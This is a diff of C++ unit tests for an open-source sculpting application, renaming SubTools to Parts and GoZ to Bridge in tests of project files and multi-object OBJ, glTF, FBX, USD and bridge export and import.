CHECK(reg.execute(doc, "paint_layer_set", {{"visible", false}, {"locked", true}}).ok);
CHECK(reg.execute(doc, "paint_layer_select", {{"index", 0.0}}).ok);
- // A second SubTool without paint layers.
- doc.addSubtool(makeIcosphere(1), "Plain", false);
+ // A second Part without paint layers.
+ doc.addPart(makeIcosphere(1), "Plain", false);
const std::string path = tempPath("sf_paint_layers.sfproj");
std::string err;
CHECK(saveProject(path, doc, err));
Document back;
CHECK(loadProject(path, back, err));
- CHECK(back.subtoolCount() == 2);
+ CHECK(back.partCount() == 2);
CHECK(sameStack(back.mesh, doc.mesh));
CHECK(back.mesh.paintLayers[0].blend == BlendMode::Overlay && back.mesh.paintLayers[0].opacity == 0.75f);
CHECK(!back.mesh.paintLayers[1].visible && back.mesh.paintLayers[1].locked && back.mesh.activePaintLayer == 0);
- CHECK(back.subtools[1].mesh.paintLayers.empty());
+ CHECK(back.parts[1].mesh.paintLayers.empty());
// Undo after loading has no history, but painting works on the loaded stack.
CHECK(reg.execute(back, "paint_fill", {{"color", std::string("#ffffff")}}).ok);
CHECK(reg.execute(back, "undo").ok && sameStack(back.mesh, doc.mesh));
@@ -319,8 +319,8 @@ TEST(paint_layers_project_round_trip) {
// Exports carry the composited colours (what the viewport shows).
const std::string ply = tempPath("sf_paint_layers.ply");
- CHECK(reg.execute(doc, "subtool_select", {{"index", 0.0}}).ok);
- CHECK(reg.execute(doc, "subtool_visibility", {{"index", 1.0}}).ok); // hide "Plain"
+ CHECK(reg.execute(doc, "part_select", {{"index", 0.0}}).ok);
+ CHECK(reg.execute(doc, "part_visibility", {{"index", 1.0}}).ok); // hide "Plain"
CHECK(reg.execute(doc, "export_ply", {{"path", ply}}).ok);
Mesh loaded;
SplatCloud splats;
@@ -369,10 +369,10 @@ TEST(paint_layers_topology_changes) {
grown.rebuildTopology();
CHECK(grown.paintLayers.empty() && grown.paintBase.empty() && grown.hasColors() && grown.activePaintLayer == -1);
- // Duplicating a SubTool copies its layers.
+ // Duplicating a Part copies its layers.
Document doc = makeDoc(m);
CommandRegistry reg;
- CHECK(reg.execute(doc, "subtool_duplicate").ok && doc.mesh.paintLayers.size() == 1 && doc.mesh.paintLayers[0].name == "Spots");
+ CHECK(reg.execute(doc, "part_duplicate").ok && doc.mesh.paintLayers.size() == 1 && doc.mesh.paintLayers[0].name == "Spots");
}
TEST(paint_layers_dab_cost_on_big_mesh) {
diff --git a/tests/test_subtool_io.cpp b/tests/test_part_io.cpp
similarity index 66%
rename from tests/test_subtool_io.cpp
rename to tests/test_part_io.cpp
index 70df4d40..e2b46c62 100644
--- a/tests/test_subtool_io.cpp
+++ b/tests/test_part_io.cpp
@@ -1,10 +1,10 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// SubTools in every file path: project files (version 2 round trip, version 1
-// still loading), exporters writing one object per visible SubTool (OBJ, glTF,
-// FBX incl. LOD groups and the Unreal preset, USD, GoZ) or the merged visible
-// mesh (PLY, STL, splats), importers giving the objects back as SubTools, and
+// Parts in every file path: project files (version 2 round trip, version 1
+// still loading), exporters writing one object per visible Part (OBJ, glTF,
+// FBX incl. LOD groups and the Unreal preset, USD, Bridge) or the merged visible
+// mesh (PLY, STL, splats), importers giving the objects back as Parts, and
// single-object files behaving as before.
#include "TestHarness.h"
@@ -13,10 +13,11 @@
#include "core/Json.h"
#include "core/Primitives.h"
#include "core/Project.h"
-#include "core/SubTools.h"
+#include "core/Parts.h"
#include "io/FbxIO.h"
#include "io/GltfIO.h"
-#include "io/GozIO.h"
+#include "io/BridgeIO.h"
+#include "io/BridgeProtocol.h"
#include "io/ObjIO.h"
#include "io/PlyIO.h"
#include "io/StlIO.h"
@@ -54,20 +55,20 @@ size_t countOf(const std::string& text, const std::string& what) {
size_t groupCount(const Mesh& m) {
std::set<uint32_t> ids;
- for (uint32_t t = 0; t < m.triangleCount(); ++t) ids.insert(m.polygroupAt(t));
+ for (uint32_t t = 0; t < m.triangleCount(); ++t) ids.insert(m.facegroupAt(t));
return ids.size();
}
bool near(const glm::vec3& a, const glm::vec3& b, float eps = 1e-3f) { return glm::length(a - b) < eps; }
-// A body with every attribute and two layers (Smile active), a hidden eye from ZBrush, a sword with
-// polygroups; the eye is the active SubTool.
+// A body with every attribute and two layers (Smile active), a hidden eye , a sword with
+// face groups; the eye is the active Part.
Document makeScene() {
Mesh body = makeIcosphere(2);
body.ensureMask();
body.ensureColors(glm::vec3(0.2f, 0.4f, 0.6f));
- body.ensurePolygroups(3);
- for (uint32_t t = 0; t < body.triangleCount(); t += 2) body.polygroups[t] = 7;
+ body.ensureFaceGroups(3);
+ for (uint32_t t = 0; t < body.triangleCount(); t += 2) body.facegroups[t] = 7;
body.ensureHidden();
body.hidden[5] = 1;
body.uvs.assign(body.triangleCount() * 3, glm::vec2(0.25f, 0.75f));
@@ -85,32 +86,32 @@ Document makeScene() {
Mesh sword = makeCube(4, 0.5f);
for (auto& p : sword.positions) p += glm::vec3(2.0f, 0.0f, 0.0f);
- sword.polygroups.assign(sword.triangleCount(), 1);
- for (uint32_t t = 0; t < sword.triangleCount() / 2; ++t) sword.polygroups[t] = 2;
+ sword.facegroups.assign(sword.triangleCount(), 1);
+ for (uint32_t t = 0; t < sword.triangleCount() / 2; ++t) sword.facegroups[t] = 2;
sword.recomputeAllNormals();
Document doc;
doc.setMesh(std::move(body), "Body");
doc.activeLayer = 0;
- doc.addSubtool(std::move(eye), "Eye", true);
- doc.gozName = "Eye_ZB";
- doc.activeSubtoolInfo().visible = false;
- doc.addSubtool(std::move(sword), "Sword", false);
- doc.path = tempPath("sf_subtool_scene.sfproj");
+ doc.addPart(std::move(eye), "Eye", true);
+ doc.bridgeName = "Eye_ZB";
+ doc.activePartInfo().visible = false;
+ doc.addPart(std::move(sword), "Sword", false);
+ doc.path = tempPath("sf_part_scene.sfproj");
return doc;
}
// A scene of the body (with layers) and the sword, both visible, the eye hidden.
Document makeExportScene() {
Document doc = makeScene();
- doc.selectSubtool(0);
+ doc.selectPart(0);
return doc;
}
void checkSameMesh(const Mesh& a, const Mesh& b) {
CHECK(a.positions == b.positions);
CHECK(a.triangles == b.triangles);
- CHECK(a.mask == b.mask && a.colors == b.colors && a.polygroups == b.polygroups);
+ CHECK(a.mask == b.mask && a.colors == b.colors && a.facegroups == b.facegroups);
CHECK(a.hidden == b.hidden && a.uvs == b.uvs);
CHECK(a.layers.size() == b.layers.size());
for (size_t i = 0; i < a.layers.size() && i < b.layers.size(); ++i) {
@@ -138,52 +139,52 @@ bool editManifest(const std::string& path, const std::function<void(Json&)>& edi
size_t visibleTriangles(const Document& doc) {
size_t n = 0;
- for (int i = 0; i < doc.subtoolCount(); ++i)
- if (doc.subtools[size_t(i)].visible) n += doc.subtoolMesh(i).triangleCount();
+ for (int i = 0; i < doc.partCount(); ++i)
+ if (doc.parts[size_t(i)].visible) n += doc.partMesh(i).triangleCount();
return n;
}
} // namespace
-TEST(subtool_project_v2_round_trip) {
+TEST(part_project_v2_round_trip) {
Document doc = makeScene();
- const std::string path = tempPath("sf_subtool_project.sfproj");
+ const std::string path = tempPath("sf_part_project.sfproj");
std::string err;
CHECK(saveProject(path, doc, err));
Document back;
CHECK(loadProject(path, back, err));
- CHECK(back.subtoolCount() == 3);
- CHECK(back.activeSubtool == 1 && back.activeSubtoolInfo().name == "Eye");
- CHECK(back.subtools[0].name == "Body" && back.subtools[1].name == "Eye" && back.subtools[2].name == "Sword");
- CHECK(back.subtools[0].visible && !back.subtools[1].visible && back.subtools[2].visible);
- CHECK(back.gozName == "Eye_ZB");
+ CHECK(back.partCount() == 3);
+ CHECK(back.activePart == 1 && back.activePartInfo().name == "Eye");
+ CHECK(back.parts[0].name == "Body" && back.parts[1].name == "Eye" && back.parts[2].name == "Sword");
+ CHECK(back.parts[0].visible && !back.parts[1].visible && back.parts[2].visible);
+ CHECK(back.bridgeName == "Eye_ZB");
CHECK(!back.dirty() && back.path == path);
- for (int i = 0; i < 3; ++i) checkSameMesh(back.subtoolMesh(i), doc.subtoolMesh(i));
- CHECK(groupCount(back.subtoolMesh(2)) == 2);
- // Every SubTool starts with an empty history; the active layer is per SubTool.
+ for (int i = 0; i < 3; ++i) checkSameMesh(back.partMesh(i), doc.partMesh(i));
+ CHECK(groupCount(back.partMesh(2)) == 2);
+ // Every Part starts with an empty history; the active layer is per Part.
for (int i = 0; i < 3; ++i) {
- back.selectSubtool(i);
+ back.selectPart(i);
CHECK(!back.undo.canUndo() && !back.undo.canRedo());
CHECK(back.activeLayer == (i == 0 ? 0 : -1));
}
CHECK(!back.dirty());
- // The BVH of a SubTool selected after loading works for picking.
- back.selectSubtool(2);
+ // The BVH of a Part selected after loading works for picking.
+ back.selectPart(2);
RayHit hit;
const glm::vec3 c = back.mesh.bounds().center();
CHECK(back.bvh.raycast(back.mesh, c + glm::vec3(0, 0, 10), glm::vec3(0, 0, -1), hit));
- // The manifest lists the SubTools and the active one.
+ // The manifest lists the Parts and the active one.
std::vector<ZipEntry> entries;
CHECK(readStoredZip(path, entries, err));
Json manifest;
CHECK(!entries.empty() && Json::parse(std::string(entries[0].data.begin(), entries[0].data.end()), manifest, err));
- CHECK(manifest["version"].asNumber() == kProjectBaseWriteVersion && manifest["subtools"].size() == 3);
- CHECK(manifest["active_subtool"].asNumber() == 1 && !manifest.has("mesh"));
- CHECK(manifest["subtools"][1]["goz_name"].asString() == "Eye_ZB");
+ CHECK(manifest["version"].asNumber() == kProjectBaseWriteVersion && manifest["parts"].size() == 3);
+ CHECK(manifest["active_part"].asNumber() == 1 && !manifest.has("mesh"));
+ CHECK(manifest["parts"][1]["bridge_name"].asString() == "Eye_ZB");
- // open_project through the command reports the SubTools.
+ // open_project through the command reports the Parts.
CommandRegistry reg;
Document third;
CommandResult r = reg.execute(third, "open_project", {{"path", path}});
@@ -191,8 +192,8 @@ TEST(subtool_project_v2_round_trip) {
std::filesystem::remove(path);
}
-TEST(subtool_project_version1_still_loads) {
- // Write a single-SubTool project, then turn its manifest into the version 1 layout.
+TEST(part_project_version1_still_loads) {
+ // Write a single-Part project, then turn its manifest into the version 1 layout.
Document doc = makeDoc(makeIcosphere(2));
doc.mesh.ensureColors(glm::vec3(0.5f));
Mesh m = doc.mesh;
@@ -200,36 +201,36 @@ TEST(subtool_project_version1_still_loads) {
m.layers[0].delta[3] = glm::vec3(0, 0.2f, 0);
m.setLayerWeight(0, 0.75f);
doc.setMesh(std::move(m));
- const std::string path = tempPath("sf_subtool_v1.sfproj");
+ const std::string path = tempPath("sf_part_v1.sfproj");
std::string err;
CHECK(saveProject(path, doc, err));
CHECK(editManifest(path, [](Json& j) {
- const Json st = j["subtools"][0];
+ const Json st = j["parts"][0];
j.set("version", 1);
j.set("mesh", st["mesh"]);
j.set("layers", st["layers"]);
j.set("active_layer", 0);
- j.set("subtools", Json());
- j.set("active_subtool", Json());
+ j.set("parts", Json());
+ j.set("active_part", Json());
}));
Document back;
CHECK(loadProject(path, back, err));
- CHECK(back.subtoolCount() == 1 && back.activeSubtoolInfo().name == "Sculpt");
+ CHECK(back.partCount() == 1 && back.activePartInfo().name == "Sculpt");
checkSameMesh(back.mesh, doc.mesh);
CHECK(back.activeLayer == 0 && !back.dirty());
- // A version 2 file without SubTools, or with a broken one, is refused and leaves the scene alone.
+ // A version 2 file without Parts, or with a broken one, is refused and leaves the scene alone.
Document keep = makeDoc(makePlane(4));
const size_t tris = keep.mesh.triangleCount();
CHECK(saveProject(path, doc, err));
- CHECK(editManifest(path, [](Json& j) { j.set("subtools", Json::array()); }));
+ CHECK(editManifest(path, [](Json& j) { j.set("parts", Json::array()); }));
err.clear();
CHECK(!loadProject(path, keep, err) && !err.empty());
CHECK(saveProject(path, makeScene(), err));
CHECK(editManifest(path, [](Json& j) {
Json list = Json::array();
- for (size_t i = 0; i < j["subtools"].size(); ++i) {
- Json st = j["subtools"][i];
+ for (size_t i = 0; i < j["parts"].size(); ++i) {
+ Json st = j["parts"][i];
if (i == 2) {
Json mesh = st["mesh"];
mesh.set("triangle_count", mesh["triangle_count"].asNumber() + 5);
@@ -237,58 +238,58 @@ TEST(subtool_project_version1_still_loads) {
}
list.push(std::move(st));
}
- j.set("subtools", std::move(list));
- j.set("active_subtool", 99.0); // out of range would fall back to 0, but the broken mesh fails first
+ j.set("parts", std::move(list));
+ j.set("active_part", 99.0); // out of range would fall back to 0, but the broken mesh fails first
}));
err.clear();
CHECK(!loadProject(path, keep, err) && !err.empty());
- CHECK(keep.subtoolCount() == 1 && keep.mesh.triangleCount() == tris);
+ CHECK(keep.partCount() == 1 && keep.mesh.triangleCount() == tris);
std::filesystem::remove(path);
}
-TEST(subtool_obj_export_import) {
+TEST(part_obj_export_import) {
Document doc = makeExportScene();
CommandRegistry reg;
- const std::string path = tempPath("sf_subtool_scene.obj");
+ const std::string path = tempPath("sf_part_scene.obj");
CommandResult r = reg.execute(doc, "save_obj", {{"path", path}});
CHECK(r.ok && r.message.find("2 Parts") != std::string::npos);
const std::string text = readText(path);
CHECK(countOf(text, "\no ") == 2);
CHECK(text.find("\no Body\n") != std::string::npos && text.find("\no Sword\n") != std::string::npos);
- CHECK(text.find("Eye") == std::string::npos); // hidden SubTools are skipped
- CHECK(countOf(text, "\ng ") >= 4); // polygroups as `g` groups (two per mesh at least)
+ CHECK(text.find("Eye") == std::string::npos); // hidden Parts are skipped
+ CHECK(countOf(text, "\ng ") >= 4); // face groups as `g` groups (two per mesh at least)
std::vector<MeshObject> objects;
std::string err;
CHECK(loadObj(path, objects, err));
CHECK(objects.size() == 2 && objects[0].name == "Body" && objects[1].name == "Sword");
if (objects.size() == 2) {
- CHECK(objects[0].mesh.vertexCount() == doc.subtoolMesh(0).vertexCount());
- for (size_t v = 0; v < objects[0].mesh.vertexCount() && v < doc.subtoolMesh(0).vertexCount(); ++v)
- if (!near(objects[0].mesh.positions[v], doc.subtoolMesh(0).positions[v], 1e-5f)) {
+ CHECK(objects[0].mesh.vertexCount() == doc.partMesh(0).vertexCount());
+ for (size_t v = 0; v < objects[0].mesh.vertexCount() && v < doc.partMesh(0).vertexCount(); ++v)
+ if (!near(objects[0].mesh.positions[v], doc.partMesh(0).positions[v], 1e-5f)) {
CHECK(false);
break;
}
- CHECK(objects[0].mesh.triangles == doc.subtoolMesh(0).triangles);
- CHECK(objects[1].mesh.vertexCount() == doc.subtoolMesh(2).vertexCount());
+ CHECK(objects[0].mesh.triangles == doc.partMesh(0).triangles);
+ CHECK(objects[1].mesh.vertexCount() == doc.partMesh(2).vertexCount());
CHECK(groupCount(objects[0].mesh) == 2 && groupCount(objects[1].mesh) == 2);
CHECK(objects[0].mesh.hasColors() && !objects[1].mesh.hasColors());
}
- // open: one SubTool per object; the single-mesh loader still merges everything.
+ // open: one Part per object; the single-mesh loader still merges everything.
Document back;
r = reg.execute(back, "open", {{"path", path}});
- CHECK(r.ok && back.subtoolCount() == 2 && back.subtools[0].name == "Body" && back.subtools[1].name == "Sword");
+ CHECK(r.ok && back.partCount() == 2 && back.parts[0].name == "Body" && back.parts[1].name == "Sword");
CHECK(!back.dirty() && back.path == path);
Mesh merged;
CHECK(loadObj(path, merged, err));
CHECK(merged.triangleCount() == visibleTriangles(doc));
- // subtool_append adds each object as its own SubTool.
+ // part_append adds each object as its own Part.
Document target = makeDoc(makeIcosphere(1));
- r = reg.execute(target, "subtool_append", {{"path", path}});
- CHECK(r.ok && target.subtoolCount() == 3 && target.activeSubtool == 1);
- CHECK(target.subtools[1].name == "Body" && target.subtools[2].name == "Sword");
+ r = reg.execute(target, "part_append", {{"path", path}});
+ CHECK(r.ok && target.partCount() == 3 && target.activePart == 1);
+ CHECK(target.parts[1].name == "Body" && target.parts[2].name == "Sword");
// A file whose `o` lines name objects without faces, and faces before any `o`.
writeText(path, "v 0 0 0\nv 1 0 0\nv 0 1 0\nv 0 0 1\nf 1 2 3\no Empty\no Tip\nf 1 2 4\nf -1 -2 -3\no Lines\nl 1 2\n");
@@ -298,37 +299,37 @@ TEST(subtool_obj_export_import) {
std::filesystem::remove(path);
}
-TEST(subtool_obj_single_object_unchanged) {
+TEST(part_obj_single_object_unchanged) {
Document doc = makeDoc(makeIcosphere(2));
CommandRegistry reg;
- const std::string path = tempPath("sf_subtool_single.obj");
+ const std::string path = tempPath("sf_part_single.obj");
CHECK(reg.execute(doc, "save_obj", {{"path", path}}).ok);
const std::string text = readText(path);
CHECK(text.find("\no ") == std::string::npos && text.find("\ng ") == std::string::npos);
Document back;
CHECK(reg.execute(back, "open", {{"path", path}}).ok);
- CHECK(back.subtoolCount() == 1 && back.activeSubtoolInfo().name == "sf_subtool_single");
- CHECK(back.mesh.vertexCount() == doc.mesh.vertexCount() && !back.mesh.hasPolygroups());
+ CHECK(back.partCount() == 1 && back.activePartInfo().name == "sf_part_single");
+ CHECK(back.mesh.vertexCount() == doc.mesh.vertexCount() && !back.mesh.hasFaceGroups());
// One `o` object: every vertex kept (also unused ones), named after the file.
writeText(path, "o Thing\nv 0 0 0\nv 1 0 0\nv 0 1 0\nv 5 5 5\nf 1 2 3\n");
CHECK(reg.execute(back, "open", {{"path", path}}).ok);
- CHECK(back.subtoolCount() == 1 && back.mesh.vertexCount() == 4 && back.activeSubtoolInfo().name == "sf_subtool_single");
- // `g` groups (ZBrush) become polygroups; a single group does not.
+ CHECK(back.partCount() == 1 && back.mesh.vertexCount() == 4 && back.activePartInfo().name == "sf_part_single");
+ // `g` groups become face groups; a single group does not.
writeText(path, "v 0 0 0\nv 1 0 0\nv 0 1 0\nv 0 0 1\ng default\ng Face\nf 1 2 3\ng Back\nf 1 2 4\ng Face\nf 2 3 4\n");
Mesh m;
std::string err;
- CHECK(loadObj(path, m, err) && m.hasPolygroups() && groupCount(m) == 2);
- CHECK(m.polygroups.size() == 3 && m.polygroups[0] == m.polygroups[2] && m.polygroups[0] != m.polygroups[1]);
+ CHECK(loadObj(path, m, err) && m.hasFaceGroups() && groupCount(m) == 2);
+ CHECK(m.facegroups.size() == 3 && m.facegroups[0] == m.facegroups[2] && m.facegroups[0] != m.facegroups[1]);
writeText(path, "v 0 0 0\nv 1 0 0\nv 0 1 0\ng default\ng Only\nf 1 2 3\n");
- CHECK(loadObj(path, m, err) && !m.hasPolygroups());
+ CHECK(loadObj(path, m, err) && !m.hasFaceGroups());
std::filesystem::remove(path);
}
-TEST(subtool_glb_export_import) {
+TEST(part_glb_export_import) {
Document doc = makeExportScene();
CommandRegistry reg;
- const std::string path = tempPath("sf_subtool_scene.glb");
+ const std::string path = tempPath("sf_part_scene.glb");
CHECK(reg.execute(doc, "export_glb", {{"path", path}}).ok);
std::vector<MeshObject> objects;
std::string err;
@@ -340,8 +341,8 @@ TEST(subtool_glb_export_import) {
CHECK(body.layers.size() == 2 && body.layers[0].name == "Smile" && body.layers[1].name == "Blink");
CHECK(body.layers.size() == 2 && std::abs(body.layers[0].weight - 0.5f) < 1e-6f);
CHECK(objects[1].mesh.layers.empty()); // each mesh has its own morph targets
- CHECK(body.triangleCount() == doc.subtoolMesh(0).triangleCount());
- CHECK(near(body.bounds().min, doc.subtoolMesh(0).bounds().min) && near(objects[1].mesh.bounds().max, doc.subtoolMesh(2).bounds().max));
+ CHECK(body.triangleCount() == doc.partMesh(0).triangleCount());
+ CHECK(near(body.bounds().min, doc.partMesh(0).bounds().min) && near(objects[1].mesh.bounds().max, doc.partMesh(2).bounds().max));
CHECK(body.hasColors());
}
Mesh merged;
@@ -349,10 +350,10 @@ TEST(subtool_glb_export_import) {
Document back;
CHECK(reg.execute(back, "open", {{"path", path}}).ok);
- CHECK(back.subtoolCount() == 2 && back.subtools[1].name == "Sword" && back.mesh.layers.size() == 2);
+ CHECK(back.partCount() == 2 && back.parts[1].name == "Sword" && back.mesh.layers.size() == 2);
// Node transforms still apply per object.
- const std::string gltf = tempPath("sf_subtool_nodes.gltf");
+ const std::string gltf = tempPath("sf_part_nodes.gltf");
writeText(gltf,
R"({"asset":{"version":"2.0"},"scene":0,"scenes":[{"nodes":[0,1]}],)"
R"("nodes":[{"name":"Left","mesh":0,"translation":[-5,0,0]},{"mesh":0,"translation":[5,0,0]}],)"
@@ -367,25 +368,25 @@ TEST(subtool_glb_export_import) {
std::filesystem::remove(gltf);
}
-TEST(subtool_glb_single_object_unchanged) {
+TEST(part_glb_single_object_unchanged) {
Document doc = makeDoc(makeIcosphere(2));
doc.path = tempPath("Head.obj");
CommandRegistry reg;
- const std::string path = tempPath("sf_subtool_single.glb");
+ const std::string path = tempPath("sf_part_single.glb");
CHECK(reg.execute(doc, "export_glb", {{"path", path}}).ok);
std::vector<MeshObject> objects;
std::string err;
CHECK(loadGltf(path, objects, err) && objects.size() == 1 && objects[0].name == "Head");
Document back;
CHECK(reg.execute(back, "open", {{"path", path}}).ok);
- CHECK(back.subtoolCount() == 1 && back.activeSubtoolInfo().name == "sf_subtool_single");
+ CHECK(back.partCount() == 1 && back.activePartInfo().name == "sf_part_single");
std::filesystem::remove(path);
}
-TEST(subtool_fbx_export_import) {
+TEST(part_fbx_export_import) {
Document doc = makeExportScene();
CommandRegistry reg;
- const std::string path = tempPath("sf_subtool_scene.fbx");
+ const std::string path = tempPath("sf_part_scene.fbx");
CHECK(reg.execute(doc, "export_fbx", {{"path", path}}).ok);
std::vector<MeshObject> objects;
std::string err;
@@ -394,24 +395,24 @@ TEST(subtool_fbx_export_import) {
if (objects.size() == 2) {
CHECK(objects[0].name == "Body" && objects[1].name == "Sword");
CHECK(objects[0].mesh.layers.size() == 2 && objects[1].mesh.layers.empty());
- CHECK(objects[0].mesh.triangleCount() == doc.subtoolMesh(0).triangleCount());
- CHECK(near(objects[1].mesh.bounds().center(), doc.subtoolMesh(2).bounds().center()));
+ CHECK(objects[0].mesh.triangleCount() == doc.partMesh(0).triangleCount());
+ CHECK(near(objects[1].mesh.bounds().center(), doc.partMesh(2).bounds().center()));
}
- // LODs: a LOD group per SubTool; import takes LOD0 of each, named after its group.
+ // LODs: a LOD group per Part; import takes LOD0 of each, named after its group.
CHECK(reg.execute(doc, "export_fbx", {{"path", path}, {"lods", 3.0}}).ok);
CHECK(loadFbx(path, objects, err));
CHECK(objects.size() == 2);
if (objects.size() == 2) {
CHECK(objects[0].name == "Body" && objects[1].name == "Sword");
- CHECK(objects[0].mesh.triangleCount() == doc.subtoolMesh(0).triangleCount());
- CHECK(objects[1].mesh.triangleCount() == doc.subtoolMesh(2).triangleCount());
+ CHECK(objects[0].mesh.triangleCount() == doc.partMesh(0).triangleCount());
+ CHECK(objects[1].mesh.triangleCount() == doc.partMesh(2).triangleCount());
}
Document back;
CHECK(reg.execute(back, "open", {{"path", path}}).ok);
- CHECK(back.subtoolCount() == 2 && back.subtools[0].name == "Body");
+ CHECK(back.partCount() == 2 && back.parts[0].name == "Body");
- // Unreal preset: one model per visible SubTool; layers on any of them make it skeletal (LOD0 only).
+ // Unreal preset: one model per visible Part; layers on any of them make it skeletal (LOD0 only).
UnrealExportOptions uo;
uo.folder = std::filesystem::temp_directory_path().string();
UnrealExportResult ur;
@@ -419,8 +420,8 @@ TEST(subtool_fbx_export_import) {
CHECK(ur.skeletal && ur.lodCount == 1);
CHECK(loadFbx(ur.path, objects, err) && objects.size() == 2);
std::filesystem::remove(ur.path);
- doc.subtools[0].visible = false; // the layered body (active, but hidden from export)
- doc.subtools[1].visible = true;
+ doc.parts[0].visible = false; // the layered body (active, but hidden from export)
+ doc.parts[1].visible = true;
CHECK(exportForUnreal(doc, uo, ur, err));
CHECK(!ur.skeletal && ur.lodCount == 4);
CHECK(loadFbx(ur.path, objects, err) && objects.size() == 2);
@@ -429,19 +430,19 @@ TEST(subtool_fbx_export_import) {
std::filesystem::remove(path);
}
-TEST(subtool_usd_export_import) {
+TEST(part_usd_export_import) {
Document doc = makeExportScene();
doc.path = tempPath("Hero.sfproj");
CommandRegistry reg;
- const std::string path = tempPath("sf_subtool_scene.usda");
+ const std::string path = tempPath("sf_part_scene.usda");
CHECK(reg.execute(doc, "export_usd", {{"path", path}}).ok);
const std::string text = readText(path);
- // One Mesh prim per visible SubTool under the root; the layered body sits in its own SkelRoot.
+ // One Mesh prim per visible Part under the root; the layered body sits in its own SkelRoot.
CHECK(text.find("defaultPrim = \"Hero\"") != std::string::npos);
CHECK(text.find("def SkelRoot \"Body\"") != std::string::npos && text.find("def Mesh \"Sword\"") != std::string::npos);
CHECK(countOf(text, "def Mesh ") == 2 && text.find("Eye") == std::string::npos);
CHECK(text.find("</Hero/Body/Skel>") != std::string::npos && text.find("</Hero/Body/Skel/Weights>") != std::string::npos);
- // Polypaint on the body only: it binds the painted material, the sword the plain clay.
+ // Vertex paint on the body only: it binds the painted material, the sword the plain clay.
CHECK(text.find("rel material:binding = </Hero/Materials/PaintedClay>") != std::string::npos);
CHECK(text.find("rel material:binding = </Hero/Materials/Clay>") != std::string::npos);
CHECK(countOf(text, "{") == countOf(text, "}") && countOf(text, "[") == countOf(text, "]"));
@@ -455,21 +456,21 @@ TEST(subtool_usd_export_import) {
CHECK(objects[0].name == "Body" && objects[1].name == "Sword");
CHECK(objects[0].mesh.layers.size() == 2 && objects[1].mesh.layers.empty());
if (objects[0].mesh.layers.size() == 2) CHECK(std::abs(objects[0].mesh.layers[0].weight - 0.5f) < 1e-6f);
- CHECK(objects[0].mesh.triangleCount() == doc.subtoolMesh(0).triangleCount());
+ CHECK(objects[0].mesh.triangleCount() == doc.partMesh(0).triangleCount());
}
Document back;
CHECK(reg.execute(back, "open", {{"path", path}}).ok);
- CHECK(back.subtoolCount() == 2 && back.subtools[1].name == "Sword");
+ CHECK(back.partCount() == 2 && back.parts[1].name == "Sword");
// USDZ too, and names that aren't USD identifiers stay valid and unique.
- doc.subtools[0].name = "Body 1";
- doc.subtools[2].name = "Body+1";
- const std::string usdz = tempPath("sf_subtool_scene.usdz");
+ doc.parts[0].name = "Body 1";
+ doc.parts[2].name = "Body+1";
+ const std::string usdz = tempPath("sf_part_scene.usdz");
CHECK(reg.execute(doc, "export_usd", {{"path", usdz}}).ok);
CHECK(loadUsd(usdz, objects, splats, err) && objects.size() == 2);
if (objects.size() == 2) CHECK(objects[0].name == "Body_1" && objects[1].name == "Body_1_2");
- // A single SubTool is still the prim "Sculpt".
+ // A single Part is still the prim "Sculpt".
Document single = makeDoc(makeIcosphere(1));
CHECK(reg.execute(single, "export_usd", {{"path", path}}).ok);
CHECK(readText(path).find("def Mesh \"Sculpt\"") != std::string::npos);
@@ -477,89 +478,89 @@ TEST(subtool_usd_export_import) {
std::filesystem::remove(usdz);
}
-TEST(subtool_goz_send_receive_and_export) {
+TEST(part_bridge_send_receive_and_export) {
namespace fs = std::filesystem;
- const fs::path root = fs::temp_directory_path() / "sf_subtool_goz";
+ const fs::path root = fs::temp_directory_path() / "sf_part_bridge";
fs::remove_all(root);
Document doc = makeExportScene();
CommandRegistry reg;
- CommandResult r = reg.execute(doc, "goz_send", {{"folder", root.string()}, {"launch", false}});
+ CommandResult r = reg.execute(doc, "bridge_send", {{"folder", root.string()}, {"launch", false}});
CHECK(r.ok && r.message.find("1 more Parts") != std::string::npos);
- CHECK(doc.gozName == "Body" && doc.subtools[2].gozName == "Sword" && doc.subtools[1].gozName == "Eye_ZB");
- const fs::path project = root / "GoZProjects" / "Default";
- CHECK(fs::exists(project / "Body.GoZ") && fs::exists(project / "Sword.GoZ") && !fs::exists(project / "Eye_ZB.GoZ"));
+ CHECK(doc.bridgeName == "Body" && doc.parts[2].bridgeName == "Sword" && doc.parts[1].bridgeName == "Eye_ZB");
+ const fs::path project = root / bridgefile::kProjectsFolder / "Default";
+ CHECK(fs::exists(project / (std::string("Body") + bridgefile::kExt)) && fs::exists(project / (std::string("Sword") + bridgefile::kExt)) && !fs::exists(project / (std::string("Eye_ZB") + bridgefile::kExt)));
- // Receiving into a new scene gives the SubTools back with polygroups, mask and polypaint.
+ // Receiving into a new scene gives the Parts back with face groups, mask and vertex paint.
Document back;
- r = reg.execute(back, "goz_receive", {{"folder", root.string()}});
- CHECK(r.ok && back.subtoolCount() == 2);
- CHECK(back.subtools[0].name == "Body" && back.subtools[1].name == "Sword");
- CHECK(back.gozName == "Body" && back.subtools[1].gozName == "Sword");
- CHECK(back.mesh.triangleCount() == doc.subtoolMesh(0).triangleCount() && back.mesh.hasColors() && back.mesh.hasMask());
- CHECK(groupCount(back.subtoolMesh(1)) == 2);
+ r = reg.execute(back, "bridge_receive", {{"folder", root.string()}});
+ CHECK(r.ok && back.partCount() == 2);
+ CHECK(back.parts[0].name == "Body" && back.parts[1].name == "Sword");
+ CHECK(back.bridgeName == "Body" && back.parts[1].bridgeName == "Sword");
+ CHECK(back.mesh.triangleCount() == doc.partMesh(0).triangleCount() && back.mesh.hasColors() && back.mesh.hasMask());
+ CHECK(groupCount(back.partMesh(1)) == 2);
// The merged form for callers that want one mesh.
Mesh merged;
std::string msg;
- CHECK(gozReceive(root.string(), merged, msg) && msg.find("(merged)") != std::string::npos);
+ CHECK(bridgeReceive(root.string(), merged, msg) && msg.find("(merged)") != std::string::npos);
CHECK(merged.triangleCount() == visibleTriangles(doc));
- // goz_export: one file per visible SubTool beside the path.
- const std::string out = (root / "Scene.GoZ").string();
- CHECK(reg.execute(doc, "goz_export", {{"path", out}}).ok);
+ // bridge_export: one file per visible Part beside the path.
+ const std::string out = (root / (std::string("Scene") + bridgefile::kExt)).string();
+ CHECK(reg.execute(doc, "bridge_export", {{"path", out}}).ok);
Mesh body, sword;
std::string err;
- GozInfo info;
- CHECK(loadGoz((root / "Scene_Body.GoZ").string(), body, err, &info) && info.name == "Body");
